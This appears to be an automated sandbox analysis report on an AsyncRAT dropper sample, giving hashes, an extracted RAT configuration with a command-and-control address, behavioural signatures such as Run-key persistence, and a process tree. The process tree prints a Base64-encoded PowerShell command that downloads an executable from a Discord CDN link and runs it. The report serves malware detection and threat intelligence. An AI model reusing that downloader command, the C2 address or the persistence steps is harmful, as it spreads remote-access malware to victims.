Analysis
-
max time kernel
150s -
max time network
152s -
platform
windows10-1703_x64 -
resource
win10-20220812-en -
resource tags
arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system -
submitted
17-12-2022 07:24
Static task
static1
Behavioral task
behavioral1
Sample
16c2fcaa5e005e11b6d8d31ed19e33dd7038290c4544e0dd2c3f61e9980350f7.exe
Resource
win10-20220812-en
General
-
Target
16c2fcaa5e005e11b6d8d31ed19e33dd7038290c4544e0dd2c3f61e9980350f7.exe
-
Size
6KB
-
MD5
6a244b5702240177bfb14ea0acf83766
-
SHA1
e6a432e8c6a4eeb939324871c665fe0f87a5a9ab
-
SHA256
16c2fcaa5e005e11b6d8d31ed19e33dd7038290c4544e0dd2c3f61e9980350f7
-
SHA512
18b5f212affedf093fb745718f62cf49840749c6044952aa0553e81058f98a2c894f0b58911196826118564936a429aeec65a0ca6f1650f8915b0457fc16d0b6
-
SSDEEP
96:Q79rLL1bhycG8W2mO8YKNXJnk538t/8nBRt9Tgd3oj9mrl:29rLL1bhych87NXJnu38t/8nHEdA2
Malware Config
Extracted
asyncrat
1.0.7
WindowsDefenderSmarttScreen
217.64.31.3:9742
WindowsDefenderSmarttScreen
-
delay
1
-
install
false
-
install_file
WindowsDefenderSmarttScreen.exe
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/3496-194-0x00000000059B0000-0x00000000059C2000-memory.dmp asyncrat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 5024 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
Processes:
asasad2113.exepid process 3496 asasad2113.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
asasad2113.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce asasad2113.exe Set value (str) \REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\OperaSetups = "C:\\Users\\Admin\\AppData\\Roaming\\RuntimeBroker\\RuntimeBroker.exe" asasad2113.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 5024 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
16c2fcaa5e005e11b6d8d31ed19e33dd7038290c4544e0dd2c3f61e9980350f7.exepowershell.exedescription pid process target process PID 4988 wrote to memory of 5024 4988 16c2fcaa5e005e11b6d8d31ed19e33dd7038290c4544e0dd2c3f61e9980350f7.exe powershell.exe PID 4988 wrote to memory of 5024 4988 16c2fcaa5e005e11b6d8d31ed19e33dd7038290c4544e0dd2c3f61e9980350f7.exe powershell.exe PID 5024 wrote to memory of 3496 5024 powershell.exe asasad2113.exe PID 5024 wrote to memory of 3496 5024 powershell.exe asasad2113.exe PID 5024 wrote to memory of 3496 5024 powershell.exe asasad2113.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\16c2fcaa5e005e11b6d8d31ed19e33dd7038290c4544e0dd2c3f61e9980350f7.exe"C:\Users\Admin\AppData\Local\Temp\16c2fcaa5e005e11b6d8d31ed19e33dd7038290c4544e0dd2c3f61e9980350f7.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAZgBlACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAAMAA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAA1ADIAMQA1ADMAOQA1ADEAMAA2ADUAMgAyADcAMgA2ADQALwAxADAANQAyADEANQA0ADYAOAA4ADIAOAAxADIANQA1ADkAOQA3AC8AVwBpAG4AZABvAHcAcwBEAGUAZgBlAG4AZABlAHIAUwBtAGEAcgB0AHQAUwBjAHIAZQBlAG4ALgBlAHgAZQAnACwAIAA8ACMAZAB2AHgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB0AGYAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBkAGQAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBhAHMAYQBzAGEAZAAyADEAMQAzAC4AZQB4AGUAJwApACkAPAAjAHUAaQBkACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGMAbgB4ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwByAHYAdQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBhAHMAYQBzAGEAZAAyADEAMQAzAC4AZQB4AGUAJwApADwAIwBxAHAAeQAjAD4A"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\asasad2113.exe"C:\Users\Admin\AppData\Roaming\asasad2113.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\asasad2113.exeFilesize
4.2MB
MD5b60e44033994d1fde9a4b6f1338bfa04
SHA17f2cd8091276040ca011174269112099ec3e9bef
SHA256baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e
SHA512a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574
-
C:\Users\Admin\AppData\Roaming\asasad2113.exeFilesize
4.2MB
MD5b60e44033994d1fde9a4b6f1338bfa04
SHA17f2cd8091276040ca011174269112099ec3e9bef
SHA256baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e
SHA512a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574
-
memory/3496-173-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-156-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-144-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-145-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-146-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-175-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-148-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-149-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-150-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-152-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-153-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-154-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-155-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-176-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-157-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-158-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-159-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-160-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-161-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-162-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-163-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-164-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-165-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-166-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-167-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-177-0x0000000000D30000-0x000000000115E000-memory.dmpFilesize
4.2MB
-
memory/3496-169-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-170-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-171-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-172-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-140-0x0000000000000000-mapping.dmp
-
memory/3496-174-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-147-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-142-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-168-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-178-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-179-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-180-0x00000000059C0000-0x0000000005A5C000-memory.dmpFilesize
624KB
-
memory/3496-181-0x0000000005F60000-0x000000000645E000-memory.dmpFilesize
5.0MB
-
memory/3496-182-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-183-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-184-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-185-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-186-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-187-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-188-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-189-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-190-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-191-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-192-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-193-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-194-0x00000000059B0000-0x00000000059C2000-memory.dmpFilesize
72KB
-
memory/3496-195-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-196-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-197-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-198-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-199-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-200-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-201-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-202-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/3496-203-0x00000000778F0000-0x0000000077A7E000-memory.dmpFilesize
1.6MB
-
memory/4988-116-0x0000000000B90000-0x0000000000B98000-memory.dmpFilesize
32KB
-
memory/5024-117-0x0000000000000000-mapping.dmp
-
memory/5024-122-0x000002ADF1910000-0x000002ADF1932000-memory.dmpFilesize
136KB
-
memory/5024-125-0x000002ADF1AC0000-0x000002ADF1B36000-memory.dmpFilesize
472KB